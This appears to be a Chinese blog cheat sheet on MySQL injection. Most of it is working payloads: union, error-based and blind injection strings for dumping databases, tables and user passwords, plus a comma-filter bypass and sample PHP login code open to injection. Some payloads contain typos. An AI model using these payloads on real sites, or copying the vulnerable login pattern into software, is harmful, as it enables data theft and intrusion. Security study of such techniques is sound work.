MySql 注入杂记

MySQL注入杂记

1.基础知识准备:

sql注入的分类

  • 基于从服务器的响应:
    1.基于错误的sql注入;
    2.联合查询的类型;
    3.SQL盲注:
    基于布尔的盲注
    基于时间的盲注
    基于报错的盲注
    
  • 基于注入的数据类型:
    1.基于字符串
    2.基于数字

  • 基于程度和顺序
    1.一阶注入;
    2.二阶注入;
    3.

  • 基于注入位置
    1.基于用户输入表单域的注入;
    2.通过cookie注入;
    3.通过服务器变量注入。(基于头部信息注入)

MySQL系统函数

1.version() :mysql版本信息
2.user():数据库用户名
3.database():数据库名
4.@@datadir():数据库路径
5.@@version_compile_os():操作系统版本

###函数介绍
1.concat(str1,str2,….):没有分隔符地连接字符串
2.concat_ws(separator.str1,str2,…)含有分隔符地连接字符串
3.group_concat(str1,str2,…):连接一族所有的字符串,并用逗号分隔

2.GET联合查询(有回显报错)

1.测试id值后的闭合符号,以及注释符。

常见注释:
–+
#
`

2.order by联合查询,找出相应的列数

3.union select联合查询注入。如下:

查询所有数据库id=-1' union select 1, group_concat(table_schema),3 from information_schema.schemata--+

注:这里我们假设查询出security数据库

查询表名(table)id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询列名(column)id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查询字段名id=-1 union select 1,username,password from users where id=2--+

##3. GET报错注入(无回显)
此种注入时区别于上一种联合查询的有回显报错的,此种无回显报错注入只能用到另外的函数来进行报错回显注入。

  • extractvalue
    其核心的语句大家都应该能看出是select后查询语句。

    1
    2
    3
    4
    5
    6
    7
    8
    #爆数据库
    and extractvalue(0x0a,concat(0x0a,(select database())))--
    #爆表
    and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
    #爆列
    and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)))--
    #爆字段
    and extractvalue(0x0a,concat(0x0a,(select count(username,0x3a,password) from users limit 0,1)))--
  • updatexml
    与上面的extractvalue相差不大

    1
    and 1=(updatexml(0x3a,concat(1,(select database())),1))--
  • floor
    同上

    1
    union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+information_schema.tables+group+by+a)b

##4. 盲注的相关知识

  • 基于布尔盲注—–构造逻辑结构判断

相关字符串截取函数:
1.left(database(),1)>'s' :database()显示数据库名,left(a,b)从左侧截取a的前b位
2.ascii(substr(select table_name from information_schema.tables where table_schema = database() limit 0,1)1,1)--+:substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将字符转换为ascii码格式。

substr()的小技巧:例如在substr(database(),1,1)中逗号被过滤了,我们可以使用from 1 to 1来绕过过滤。
那么有同样格式的limit 0,1有没有这样的绕过呢?当然有。格式为:1 offset 0这里注查询数字的顺序。

3.ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23: mid(a,b,c)从位置b开始,截取字符串a的c位。ord()函数和ascii()函数一样将字符转为ascii码。

  • 基于报错的MySQL盲注
  • 基于时间的盲注
    if(ascii(substr(database(),1,1))>115,0,sleep(5))%23if(a,b,c)若a成立,就执行c,不成立就执行b

GET布尔盲注

  • 判断数据库
    可以使用两种函数判断:
    1.id=1' and left(database(),1)='s'--+:直接判断数据库的名字,缺点就是受限于left函数的用法,不能进行每一位的单个字符的判断。
    2.id=1' and ascii(substr(database(),1,1))=89--+:和上面的语句一样用于判断数据库名,在使用脚本时用此句就行。

  • 爆数据库下的表名
    id=1' and ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=136--+
    解释limit 0,1中0是表示从第一个表(若数据库有多个表)开始,接着的1表示获取第一个。

  • 获取字段内的值(获取字段名就和上面获取表名的操作是一样的)
    假设我们从上一步的操作中获取了一个名叫users的字段,一般想来这个字段中肯定含有我们想要得到的用户名和密码,所以这里就可以用到正则注入。

1.id=1' and 1=(select 1 frominformation schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

注意:select后的1表示我们查询的是这个字段的第一个值,若我们想查询其他字段中的值,直接更换这里的’users’即可,所以这里的limit 0,1起不到限定作用,可有可无。

2.使用ord()mid()函数

解释:这里的mid()函数与substr()函数类似,有一样的功能。函数原型为:MID(ColumnName, Start [, Length])对字符串从start位置开始截取相应的长度。这里我就可以在substr()被禁的情况下做替换。

4.POST注入

常见的Post注入分为两类:

  1. 同时验证用户名和密码

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $sql = select * from users where username=$usernmae and password=$password limit 1,1
    $result = mysql_query($sql);
    if($result) {
    echo "登陆成功";
    } else {
    echo "登陆失败";
    }
  2. 用户名与密码分步验证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $sql = "select password from users where username='$username'"
    $result = mysql_query($sql);
    if($result) {
    $row = mysql_fetch_row($result);
    $query_password = $row[$password];
    #对输入的$password进行变形
    $input_password = modify($passowrd);
    if($input_password == $query_password) {
    echo "登陆成功";
    } else {
    echo "密码错误";
    }
    } else {
    echo "用户不存在";
    }

我们在大多数情况下遇到的都是第一种情况,其实第一种情况与第二种情况并无太大区别,就是在查询成功后页面返回不同而已。其余的都和普通的注入一样。这里就不再反复赘述。

文章目录
  1. 1. MySQL注入杂记
    1. 1.1. 1.基础知识准备:
      1. 1.1.1. sql注入的分类
      2. 1.1.2. MySQL系统函数
    2. 1.2. 2.GET联合查询(有回显报错)
      1. 1.2.1. GET布尔盲注
    3. 1.3. 4.POST注入